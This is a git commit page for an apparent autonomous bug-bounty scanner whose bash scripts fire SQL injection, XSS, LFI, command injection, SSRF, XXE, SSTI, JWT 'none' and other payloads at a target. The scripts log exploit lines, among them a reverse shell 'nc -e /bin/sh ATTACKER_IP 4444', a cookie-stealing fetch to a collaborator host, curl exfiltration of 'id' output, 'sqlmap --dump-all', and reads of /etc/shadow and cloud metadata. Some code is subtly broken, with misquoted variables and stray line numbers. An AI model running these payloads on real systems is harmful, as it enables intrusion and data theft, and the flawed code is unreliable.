drjones/th-analyzer
1
0
Fork 0
Code Issues 4 Pull Requests Actions Packages Projects Releases Wiki Activity

The Analyzer v1.0 — autonomous bug bounty engine with 20 attack vectors and Ollama brain

Browse Source
This commit is contained in:
drjones
2026-06-19 06:11:40 -07:00
commit eb1fad4ecc
28 changed files with 2501 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

83
vectors/01-sqli.sh Executable file
View File

@@ -0,0 +1,83 @@
#!/usr/bin/env bash
# Vector 01: SQL Injection
# Desc: Database injection attacks (basic, blind, time-based, error-based)
# Detect: Forms, login pages, URL parameters, search bars
# Severity: CRITICAL
# Tools: sqlmap, curl
vector_sqli() {
local target="$1"
local report="$2"
local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
print_info "Testing SQL Injection vectors..."
# Find injectable parameters
local params=$(curl -s "$target" 2>/dev/null | sed -n 's/.*name="\([^"]*\)".*/\1/p' | sed 's/name="//;s/"//' | head -10)
local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -10)
local findings=0
# 1. Basic SQLi test with sqlmap
if command -v sqlmap &>/dev/null; then
print_sub "Running sqlmap (basic scan)..."
local sqlmap_out=$(timeout 120 sqlmap -u "$target" --batch --level=2 --risk=2 --random-agent \
--output-dir="$REPORTS_DIR/.sqlmap" 2>&1 | tail -100)
if echo "$sqlmap_out" | grep -qi "Parameter.*GET\|injectable\|vulnerable\|Type:"; then
local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -5)
print_find "SQL Injection!" "$injectable"
# Save finding
echo "SEVERITY: CRITICAL
VECTOR: SQL Injection
DETAIL: sqlmap confirmed injectable parameters: $injectable (target: $target)
EVIDENCE: $injectable
EXPLOIT: sqlmap -u \"$target\" --batch --dump-all --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_sqli.txt"
findings=$((findings + 1))
fi
fi
# 2. Manual error-based detection
print_sub "Checking error-based SQLi..."
local error_payloads=("'" "1'" "1=1--" "1' OR '1'='1" '" OR "1"="1' "' UNION SELECT NULL--")
for payload in "${error_payloads[@]}"; do
local test_url="${target}${target}"
[[ "$target" == *\?* ]] && test_url="${target}&q=${payload}" || test_url="${target}?q=${payload}"
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
if echo "$response" | grep -qi "sql\|mysql\|syntax\|ora-\|you have an error\|unclosed\|quotation mark\|odbc\|driver\|mysql_fetch\|pg_"; then
print_find "Error-based SQLi confirmed!" "Database error messages detected with payload: $payload"
findings=$((findings + 1))
break
fi
done
# 3. Time-based blind detection
print_sub "Checking time-based blind SQLi..."
local sleep_test="${target}"
if [[ "$target" == *\?* ]]; then
sleep_test="${target}&id=1' OR SLEEP(3)--"
else
sleep_test="${target}?id=1' OR SLEEP(3)--"
fi
local start_time=$(date +%s)
curl -s --connect-timeout 3 --max-time 10 "$sleep_test" >/dev/null 2>&1
local end_time=$(date +%s)
local elapsed=$((end_time - start_time))
if [ "$elapsed" -ge 3 ]; then
print_find "Time-based blind SQLi confirmed!" "Response delayed ${elapsed}s with SLEEP(3) payload"
echo "SEVERITY: CRITICAL
VECTOR: SQL Injection (Time-based Blind)
DETAIL: Time-based blind SQLi confirmed on $target
EVIDENCE: Response delayed ${elapsed}s with SLEEP(3) payload
EXPLOIT: sqlmap -u \"$target\" --batch --technique=T --dump --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_time-sqli.txt"
findings=$((findings + 1))
fi
return $findings
}

76
vectors/02-xss.sh Executable file
View File

@@ -0,0 +1,76 @@
#!/usr/bin/env bash
# Vector 02: Cross-Site Scripting (XSS)
# Desc: Reflected, Stored, DOM-based XSS detection
# Detect: Forms, search bars, URL parameters, comment sections
# Severity: HIGH
# Tools: curl, custom payloads
vector_xss() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing XSS vectors..."
local xss_payloads=(
"<script>alert(1)</script>"
'"><script>alert(1)</script>'
"<img src=x onerror=alert(1)>"
"';alert(1);//"
"\"><img src=x onerror=alert(1)>"
"<svg onload=alert(1)>"
"<input autofocus onfocus=alert(1)>"
"<body onload=alert(1)>"
)
# Test URL parameters
local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -5)
if [ -z "$url_params" ]; then
# Test query parameter
for payload in "${xss_payloads[@]}"; do
local test_url="${target}?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
print_find "Reflected XSS!" "Payload reflected: ${payload:0:30}... on $target"
echo "SEVERITY: HIGH
VECTOR: Cross-Site Scripting (Reflected)
DETAIL: Reflected XSS confirmed with payload: $payload
EVIDENCE: Payload echoed back in response
EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss.txt"
findings=$((findings + 1))
break
fi
done
else
# Test each parameter
for param in $url_params; do
for payload in "${xss_payloads[@]}"; do
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
local test_url=$(echo "$target" | sed "s/${param}=[^&]*/${param}=${encoded}/")
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
print_find "Reflected XSS in parameter $param!" "Payload reflected: ${payload:0:30}..."
echo "SEVERITY: HIGH
VECTOR: Cross-Site Scripting (Reflected)
DETAIL: Reflected XSS in parameter '$param' on $target
EVIDENCE: Payload reflected in response
EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss-${param}.txt"
findings=$((findings + 1))
break 2
fi
done
done
fi
# Check for DOM XSS indicators
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
if echo "$page" | grep -qiE 'document\.write\s*\(|innerHTML\s*=|eval\s*\(|location\.hash|location\.search'; then
print_warn "Potential DOM XSS sinks detected in page source"
print_info "Manual review recommended for DOM-based XSS"
fi
return $findings
}

69
vectors/03-lfi.sh Executable file
View File

@@ -0,0 +1,69 @@
#!/usr/bin/env bash
# Vector 03: Local/Remote File Inclusion
# Desc: LFI/RFI via file parameters, path traversal
# Detect: file=, page=, include=, template=, load= parameters
# Severity: CRITICAL
# Tools: curl
vector_lfi() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing File Inclusion (LFI/RFI) vectors..."
local lfi_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content")
local lfi_payloads=(
"/etc/passwd"
"../../../../etc/passwd"
"../../../../windows/win.ini"
"/proc/self/environ"
"../../../../etc/hosts"
"php://filter/convert.base64-encode/resource=index"
"php://filter/convert.base64-encode/resource=config"
"/etc/nginx/nginx.conf"
"../../../../etc/shadow"
)
# Try common LFI parameters
for param in "${lfi_params[@]}"; do
for payload in "${lfi_payloads[@]}"; do
local test_url=""
if [[ "$target" == *\?* ]]; then
test_url="${target}&${param}=${payload}"
else
test_url="${target}?${param}=${payload}"
fi
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]\|LoadProfile\|Windows Registry\|^#\|server_name\|listen\|proxy_pass"; then
print_find "LFI confirmed!" "File read via parameter $param with payload: $payload"
echo "SEVERITY: CRITICAL
VECTOR: Local File Inclusion (LFI)
DETAIL: LFI via parameter '$param' on $target
EVIDENCE: System files readable
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt"
findings=$((findings + 1))
break 2
fi
# Check for PHP filter base64
if echo "$response" | grep -qiE '^[A-Za-z0-9+/]*={0,2}$' && [ ${#response} -gt 100 ]; then
local decoded=$(echo "$response" | base64 -d 2>/dev/null)
if [ -n "$decoded" ] && echo "$decoded" | grep -qi "<?php\|<\w+\s*\|config\|db_host\|DB_HOST"; then
print_find "LFI with PHP filter!" "Source code disclosure via php://filter"
echo "SEVERITY: CRITICAL
VECTOR: LFI via PHP Filter
DETAIL: PHP source code disclosure via php://filter on $target
EVIDENCE: Base64 encoded source retrieved and decoded
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt"
findings=$((findings + 1))
break 2
fi
fi
done
done
return $findings
}

74
vectors/04-command-injection.sh Executable file
View File

@@ -0,0 +1,74 @@
#!/usr/bin/env bash
# Vector 04: Command Injection
# Desc: OS command injection via input fields, parameters
# Detect: Ping, traceroute, nslookup, whois, host, exec parameters
# Severity: CRITICAL
# Tools: curl
vector_cmdi() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing Command Injection vectors..."
local cmd_params=("ping" "host" "lookup" "traceroute" "nslookup" "whois" "exec" "command" "cmd" "run" "trace" "target" "ip" "server")
local cmd_payloads=(
";id"
"|id"
"`id`"
"$(id)"
";whoami"
"|whoami"
";uname -a"
"|cat /etc/passwd"
"& ping -c 1 127.0.0.1 &"
"| nc -e /bin/sh ATTACKER_IP 4444"
";sleep 3"
"|sleep 3"
)
for param in "${cmd_params[@]}"; do
for payload in "${cmd_payloads[@]}"; do
local test_url=""
if [[ "$target" == *\?* ]]; then
test_url="${target}&${param}=${payload}"
else
test_url="${target}?${param}=${payload}"
fi
local start_time=$(date +%s%N)
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
local end_time=$(date +%s%N)
local elapsed=$(( (end_time - start_time) / 1000000 ))
# Check for command output in response
if echo "$response" | grep -qiE "uid=[0-9]+|gid=[0-9]+|groups=[0-9]+|root|bin|daemon|Linux"; then
print_find "Command Injection!" "Command output detected via parameter $param with payload: $payload"
echo "SEVERITY: CRITICAL
VECTOR: Command Injection
DETAIL: OS command injection via parameter '$param' on $target
EVIDENCE: System command output reflected in response
EXPLOIT: ;curl http://YOUR-SERVER/$(id | base64)" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi.txt"
findings=$((findings + 1))
break 2
fi
# Time-based detection
if echo "$payload" | grep -q "sleep"; then
if [ "$elapsed" -ge 2000 ]; then
print_find "Time-based Command Injection!" "Response delayed ${elapsed}ms with sleep payload"
echo "SEVERITY: CRITICAL
VECTOR: Command Injection (Time-based)
DETAIL: Time-based command injection via parameter '$param' on $target
EVIDENCE: ${elapsed}ms delay with sleep payload
EXPLOIT: verify with: ;ping -c 5 YOUR-SERVER" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi-time.txt"
findings=$((findings + 1))
break 2
fi
fi
done
done
return $findings
}

55
vectors/05-ssrf.sh Executable file
View File

@@ -0,0 +1,55 @@
#!/usr/bin/env bash
# Vector 05: Server-Side Request Forgery
# Desc: SSRF via URL params, file fetching, webhooks
# Detect: url=, src=, link=, fetch=, file=, callback=, webhook= parameters
# Severity: HIGH
# Tools: curl
vector_ssrf() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing SSRF vectors..."
local ssrf_params=("url" "src" "link" "fetch" "file" "callback" "webhook" "image" "img" "load" "read" "path" "dest" "redirect" "uri" "data")
local ssrf_targets=(
"http://169.254.169.254/latest/meta-data/"
"http://169.254.169.254/"
"http://127.0.0.1:80"
"http://127.0.0.1:8080"
"http://127.0.0.1:3306"
"http://127.0.0.1:6379"
"http://localhost/flag"
"file:///etc/passwd"
"file:///proc/self/environ"
"http://[::1]:80"
"http://0.0.0.0:80"
)
for param in "${ssrf_params[@]}"; do
for ssrf_target in "${ssrf_targets[@]}"; do
local test_url=""
if [[ "$target" == *\?* ]]; then
test_url="${target}&${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")"
else
test_url="${target}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")"
fi
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
if echo "$response" | grep -qi "ami-id\|instance-id\|public-keys\|security-credentials\|root:.*:0:0:\|uid=\|DB_HOST\|REDIS\|AWS_"; then
print_find "SSRF confirmed!" "Internal resource accessible via parameter $param -> $ssrf_target"
echo "SEVERITY: CRITICAL
VECTOR: Server-Side Request Forgery (SSRF)
DETAIL: SSRF via parameter '$param' on $target
EVIDENCE: Internal data accessible: ${response:0:100}...
EXPLOIT: Use to access cloud metadata, internal services, or read local files" > "$REPORTS_DIR/.finding_$(date +%s)_ssrf.txt"
findings=$((findings + 1))
break 2
fi
done
done
return $findings
}

42
vectors/06-open-redirect.sh Executable file
View File

@@ -0,0 +1,42 @@
#!/usr/bin/env bash
# Vector 06: Open Redirect
# Desc: Unvalidated redirects via URL parameters
# Detect: redirect=, url=, next=, return=, goto= parameters
# Severity: MEDIUM
# Tools: curl
vector_oredir() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing Open Redirect vectors..."
local redirect_params=("redirect" "url" "next" "return" "goto" "to" "dest" "destination" "target" "r" "u" "out" "view" "dir")
local test_url="https://evil.com"
for param in "${redirect_params[@]}"; do
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${test_url}'))" 2>/dev/null || echo "$test_url")
local test=""
if [[ "$target" == *\?* ]]; then
test="${target}&${param}=${encoded}"
else
test="${target}?${param}=${encoded}"
fi
local redirect=$(curl -sI --connect-timeout 5 --max-time 10 "$test" 2>/dev/null | grep -i "^location:" | tr -d '\r' | sed 's/[Ll]ocation: //')
if echo "$redirect" | grep -qi "evil.com"; then
print_find "Open Redirect!" "Parameter $param redirects to external domain"
echo "SEVERITY: MEDIUM
VECTOR: Open Redirect
DETAIL: Open redirect via parameter '$param' on $target
EVIDENCE: Redirects to $test_url
EXPLOIT: Used for phishing: $target?$param=https://phishing-site.com" > "$REPORTS_DIR/.finding_$(date +%s)_oredir.txt"
findings=$((findings + 1))
break
fi
done
return $findings
}

50
vectors/07-directory-traversal.sh Executable file
View File

@@ -0,0 +1,50 @@
#!/usr/bin/env bash
# Vector 07: Directory Traversal
# Desc: Path traversal to read arbitrary files
# Detect: file=, download=, doc=, pdf= parameters
# Severity: HIGH
# Tools: curl
vector_dtrav() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing Directory Traversal vectors..."
local trav_params=("file" "download" "doc" "pdf" "attachment" "d" "f" "folder" "dir" "img" "document" "view" "page")
for param in "${trav_params[@]}"; do
local tests=(
"../../../../etc/passwd"
"..\\..\\..\\windows\\win.ini"
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
"....//....//....//etc/passwd"
"..;/..;/..;/etc/passwd"
)
for trav in "${tests[@]}"; do
local test_url=""
if [[ "$target" == *\?* ]]; then
test_url="${target}&${param}=${trav}"
else
test_url="${target}?${param}=${trav}"
fi
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]"; then
print_find "Directory Traversal!" "File read via $param with: $trav"
echo "SEVERITY: HIGH
VECTOR: Directory Traversal
DETAIL: Path traversal via parameter '$param' on $target
EVIDENCE: System files readable: ${response:0:100}
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_dtrav.txt"
findings=$((findings + 1))
break 2
fi
done
done
return $findings
}

53
vectors/08-ssti.sh Executable file
View File

@@ -0,0 +1,53 @@
#!/usr/bin/env bash
# Vector 08: Server-Side Template Injection
# Desc: SSTI in template engines (Jinja2, Twig, Freemarker, etc.)
# Detect: Template syntax errors, {{}} reflected, error pages
# Severity: CRITICAL
# Tools: curl
vector_ssti() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing SSTI vectors..."
local ssti_payloads=(
"{{7*7}}"
"\${7*7}"
"#{7*7}"
"*{7*7}"
"<%= 7*7 %>"
"${{7*7}}"
"{{config}}"
"${7*7}"
"{{''.__class__.__mro__[2].__subclasses__()}}"
)
for payload in "${ssti_payloads[@]}"; do
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
local test_url=""
if [[ "$target" == *\?* ]]; then
test_url="${target}&q=${encoded}"
else
test_url="${target}?q=${encoded}"
fi
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
if echo "$response" | grep -q "49\|${payload}"; then
if echo "$response" | grep -q "49"; then
print_find "SSTI confirmed!" "Template engine evaluated {{7*7}} = 49"
echo "SEVERITY: CRITICAL
VECTOR: Server-Side Template Injection (SSTI)
DETAIL: SSTI confirmed on $target
EVIDENCE: Payload {{7*7}} evaluated to 49
EXPLOIT: Possible RCE: {{''.__class__.__mro__[2].__subclasses__()}} (Jinja2)" > "$REPORTS_DIR/.finding_$(date +%s)_ssti.txt"
findings=$((findings + 1))
break
fi
fi
done
return $findings
}

47
vectors/09-xxe.sh Executable file
View File

@@ -0,0 +1,47 @@
#!/usr/bin/env bash
# Vector 09: XML External Entity (XXE)
# Desc: XXE injection via XML upload/params
# Detect: XML endpoints, SOAP APIs, RSS feeds
# Severity: CRITICAL
# Tools: curl
vector_xxe() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing XXE vectors..."
# Check if target accepts XML
local content_type=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null | grep -i "^content-type:" | tr -d '\r')
if echo "$content_type" | grep -qi "xml\|soap"; then
print_info "XML endpoint detected, testing XXE..."
local xxe_payload='<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>'
local response=$(curl -s --connect-timeout 5 --max-time 10 \
-X POST \
-H "Content-Type: application/xml" \
-d "$xxe_payload" \
"$target" 2>/dev/null)
if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:"; then
print_find "XXE confirmed!" "File read via external entity"
echo "SEVERITY: CRITICAL
VECTOR: XML External Entity (XXE)
DETAIL: XXE confirmed on $target
EVIDENCE: Internal file read via DTD entity
EXPLOIT: Blind XXE: use OOB exfiltration to attacker server" > "$REPORTS_DIR/.finding_$(date +%s)_xxe.txt"
findings=$((findings + 1))
fi
else
print_skip "No XML endpoint detected"
fi
return $findings
}

46
vectors/10-idor.sh Executable file
View File

@@ -0,0 +1,46 @@
#!/usr/bin/env bash
# Vector 10: Insecure Direct Object Reference
# Desc: Access control bypass via object IDs
# Detect: Numeric params, UUIDs, sequential IDs
# Severity: HIGH
# Tools: curl
vector_idor() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing IDOR vectors..."
local id_params=("id" "user_id" "uid" "account" "account_id" "profile" "order" "order_id" "invoice" "doc_id" "file_id" "pid" "cid" "sid" "token")
for param in "${id_params[@]}"; do
# Try sequential IDs
for id in 1 2 100 999 1000 1001; do
local test_url=""
if [[ "$target" == *\?* ]]; then
test_url="${target}&${param}=${id}"
else
test_url="${target}?${param}=${id}"
fi
local response=$(curl -s --connect-timeout 5 --max-time 10 \
-H "User-Agent: Mozilla/5.0" \
"$test_url" 2>/dev/null)
# Check for data leakage (JSON, names, emails, amounts)
if echo "\$response" | grep -qiE '"email"|"credit_card"|"ssn"|"salary"|"balance"|"secret"|"private"|"admin"'; then
print_find "Potential IDOR!" "Data accessible via $param=$id"
echo "SEVERITY: HIGH
VECTOR: Insecure Direct Object Reference (IDOR)
DETAIL: Potential IDOR via parameter '$param' with value $id on $target
EVIDENCE: Sensitive data in response: ${response:0:200}
EXPLOIT: Enumerate IDs to access other users' data" > "$REPORTS_DIR/.finding_$(date +%s)_idor.txt"
findings=$((findings + 1))
break 2
fi
done
done
return $findings
}

63
vectors/11-csrf.sh Executable file
View File

@@ -0,0 +1,63 @@
#!/usr/bin/env bash
# Vector 11: Cross-Site Request Forgery
# Desc: Missing CSRF tokens in state-changing forms
# Detect: Forms without CSRF tokens, SameSite=None cookies
# Severity: MEDIUM
# Tools: curl
vector_csrf() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing CSRF vectors..."
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
# Find forms
local forms=$(echo "$page" | perl -nle 'print \$& if /<form[^>]*>/g' 2>/dev/null)
if [ -z "$forms" ]; then
print_skip "No forms found to test"
return 0
fi
print_info "Found $(echo "$forms" | wc -l | tr -d ' ') form(s), checking CSRF protection..."
local form_count=0
while IFS= read -r form; do
form_count=$((form_count + 1))
local form_method=$(echo "$form" | sed -n 's/.*method="\([^"]*\)".*/\1/p' | sed 's/method="//;s/"//' | tr '[:upper:]' '[:lower:]')
local form_action=$(echo "$form" | sed -n 's/.*action="\([^"]*\)".*/\1/p' | sed 's/action="//;s/"//')
# Check for CSRF token in form
if ! echo "\$form" | grep -qiE 'csrf|_token|nonce|authenticity_token|xsrf|__RequestVerificationToken'; then
# Check page for hidden CSRF fields
local hidden_fields=$(echo "$page" | perl -nle 'print \$& if /<input[^>]*hidden[^>]*>/g' 2>/dev/null)
local has_csrf=false
while IFS= read -r hidden; do
if echo "\$hidden" | grep -qiE 'csrf|_token|nonce|authenticity'; then
has_csrf=true
break
fi
done <<< "$hidden_fields"
if [ "$has_csrf" = false ] && [ "$form_method" = "post" ]; then
print_find "CSRF vulnerability!" "Form #$form_count missing CSRF protection"
echo "SEVERITY: MEDIUM
VECTOR: Cross-Site Request Forgery (CSRF)
DETAIL: CSRF - No CSRF token in state-changing form on $target
EVIDENCE: Form action=$form_action, method=$form_method lacks CSRF protection
EXPLOIT: Generate malicious HTML form that auto-submits to this endpoint" > "$REPORTS_DIR/.finding_$(date +%s)_csrf.txt"
findings=$((findings + 1))
fi
fi
done <<< "$forms"
if [ "$findings" -eq 0 ]; then
print_ok "All forms appear to have CSRF protection"
fi
return $findings
}

68
vectors/12-jwt.sh Executable file
View File

@@ -0,0 +1,68 @@
1|#!/usr/bin/env bash
2|# Vector 12: JWT Attacks
3|# Desc: JWT token manipulation (none alg, weak keys, etc.)
4|# Detect: JWT tokens in cookies, headers, or params
5|# Severity: HIGH
6|# Tools: curl, jq
7|
8|vector_jwt() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing JWT attack vectors..."
# Look for JWT in cookies or headers
local auth_header=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null | grep -i "^authorization:\|^set-cookie:")
local jwt_pattern='eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\.[a-zA-Z0-9_-]*'
local jwt=$(echo "$auth_header" | perl -nle 'print \$& if /\$jwt_pattern/' | head -1)
if [ -z "$jwt" ]; then
# Check page content
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
jwt=$(echo "$page" | perl -nle 'print \$& if /\$jwt_pattern/' | head -1)
fi
if [ -n "$jwt" ]; then
print_find "JWT token found!" "${jwt:0:50}..."
# Decode header
local header=$(echo "$jwt" | cut -d. -f1 | base64 -d 2>/dev/null)
local payload=$(echo "$jwt" | cut -d. -f2 | base64 -d 2>/dev/null)
print_info "Header: $header"
print_info "Payload: $payload"
# Test "none" algorithm attack
local header_b64=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
local payload_b64=$(echo "$jwt" | cut -d. -f2)
local none_jwt="${header_b64}.${payload_b64}."
local response=$(curl -s --connect-timeout 5 --max-time 10 \
-H "Authorization: Bearer $none_jwt" \
"$target" 2>/dev/null)
if echo "$response" | grep -qi "admin\|dashboard\|profile\|200\|success"; then
print_find "JWT 'none' algorithm bypass!" "Token accepted without signature"
echo "SEVERITY: CRITICAL
49|VECTOR: JWT Algorithm Confusion (none)
50|DETAIL: Server accepts 'alg:none' JWT token on $target
51|EVIDENCE: Token with 'none' alg accepted by server
52|EXPLOIT: Replace alg with 'none', remove signature, gain unauthorized access" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-none.txt"
findings=$((findings + 1))
fi
# Save JWT info for report
echo "SEVERITY: INFO
58|VECTOR: JWT Token Discovery
59|DETAIL: JWT token found on $target
60|EVIDENCE: Token: ${jwt:0:80}...
61|EXPLOIT: Try jwt_tool for further analysis" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-found.txt"
else
print_skip "No JWT tokens found"
fi
return $findings
67|}
68|

55
vectors/13-graphql.sh Executable file
View File

@@ -0,0 +1,55 @@
#!/usr/bin/env bash
# Vector 13: GraphQL Injection & Introspection
# Desc: GraphQL introspection, injection, batching attacks
# Detect: /graphql endpoints, query params, POST with query
# Severity: HIGH
# Tools: curl
vector_graphql() {
local target="$1"
local report="$2"
local findings=0
local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
print_info "Testing GraphQL vectors..."
# Check common GraphQL endpoints
local gql_paths=("/graphql" "/v1/graphql" "/v2/graphql" "/api/graphql" "/graph" "/query" "/gql")
local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
for path in "${gql_paths[@]}"; do
local code=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 10 "${base}${path}" 2>/dev/null)
if [ "$code" != "000" ] && [ "$code" != "404" ]; then
print_info "Found GraphQL endpoint: ${base}${path} (HTTP $code)"
# Test introspection
local introspection='{"query":"query{__schema{types{name fields{name type{name kind}}}}}"}'
local response=$(curl -s --connect-timeout 5 --max-time 10 \
-X POST \
-H "Content-Type: application/json" \
-d "$introspection" \
"${base}${path}" 2>/dev/null)
if echo "$response" | grep -qi '"data"' && echo "$response" | grep -qi '__schema\|types\|fields'; then
print_find "GraphQL Introspection Enabled!" "Full schema available at ${base}${path}"
# Extract type names from schema
local types=$(echo "$response" | jq -r '.data.__schema.types[].name' 2>/dev/null | grep -v '__\|Query\|Mutation\|Subscription\|String\|Int\|Float\|Boolean\|ID' | head -10)
echo "SEVERITY: HIGH
VECTOR: GraphQL Introspection
DETAIL: GraphQL introspection enabled at ${base}${path} on $target
EVIDENCE: Full schema accessible
EXPLOIT: Extract all queries/mutations: query{__schema{types{name fields{name type{name kind}}}}}" > "$REPORTS_DIR/.finding_$(date +%s)_graphql.txt"
findings=$((findings + 1))
if [ -n "$types" ]; then
print_info "Types found: $types"
fi
fi
fi
done
return $findings
}

67
vectors/14-api-abuse.sh Executable file
View File

@@ -0,0 +1,67 @@
1|#!/usr/bin/env bash
2|# Vector 14: API Abuse & Security Testing
3|# Desc: Rate limiting, auth bypass, mass assignment, parameter pollution
4|# Detect: API endpoints /api/, /v1/, /rest
5|# Severity: HIGH
6|# Tools: curl
7|
8|vector_apiab() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing API security..."
local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
# Discover API endpoints
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
local api_urls=$(echo "$page" | perl -nle 'while (/"https?:\/\/[^"]*api[^"]*"|"\/api\/[^"]*"|"\/v[0-9]\/[^"]*"/g) { print \$& }' 2>/dev/null | sort -u | head -10)
for endpoint in $api_urls; do
endpoint=$(echo "$endpoint" | tr -d '"')
[[ "$endpoint" == /* ]] && endpoint="${base}${endpoint}"
# Test various auth bypass methods
local methods=("GET" "POST" "PUT" "DELETE" "PATCH" "OPTIONS")
for method in "${methods[@]}"; do
local response=$(curl -s --connect-timeout 5 --max-time 10 \
-X "$method" \
-H "Authorization: Bearer" \
-H "Authorization: null" \
-H "X-Forwarded-For: 127.0.0.1" \
"$endpoint" 2>/dev/null)
# Check for unexpected access
local status=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" --connect-timeout 5 --max-time 10 "$endpoint" 2>/dev/null)
if [ "$status" = "200" ] && [ "$method" != "GET" ]; then
print_warn "Unusual: $method $endpoint returns $status"
fi
done
# Test rate limiting
local rate_check=0
for i in 1 2 3 4 5 6 7 8 9 10; do
local rstatus=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 3 --max-time 5 "$endpoint" 2>/dev/null)
if [ "$rstatus" = "429" ] || [ "$rstatus" = "503" ]; then
rate_check=$((rate_check + 1))
fi
done
if [ "$rate_check" -eq 0 ]; then
print_warn "No rate limiting detected on $endpoint"
echo "SEVERITY: MEDIUM
57|VECTOR: Missing Rate Limiting
58|DETAIL: No rate limiting on $endpoint
59|EVIDENCE: 10 rapid requests without 429/503 response
60|EXPLOIT: Enables brute force, credential stuffing, DoS" > "$REPORTS_DIR/.finding_$(date +%s)_ratelimit.txt"
findings=$((findings + 1))
fi
done
return $findings
66|}
67|

49
vectors/15-file-upload.sh Executable file
View File

@@ -0,0 +1,49 @@
#!/usr/bin/env bash
# Vector 15: File Upload Vulnerabilities
# Desc: Unrestricted file upload, path traversal in upload
# Detect: Upload forms, multipart endpoints
# Severity: HIGH
# Tools: curl
vector_fileup() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing File Upload vectors..."
# Find upload endpoints
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
local upload_urls=$(echo "$page" | grep -oiP 'action="[^"]*upload[^"]*"\|enctype="multipart/form-data"' | head -5)
if [ -n "$upload_urls" ]; then
print_info "Upload form detected, testing restrictions..."
# Try uploading a PHP shell (harmless test)
local test_content='<?php echo "UPLOAD_TEST"; ?>'
local tmpfile=$(mktemp)
echo "$test_content" > "$tmpfile"
local response=$(curl -s --connect-timeout 5 --max-time 10 \
-F "file=@${tmpfile};filename=test.php" \
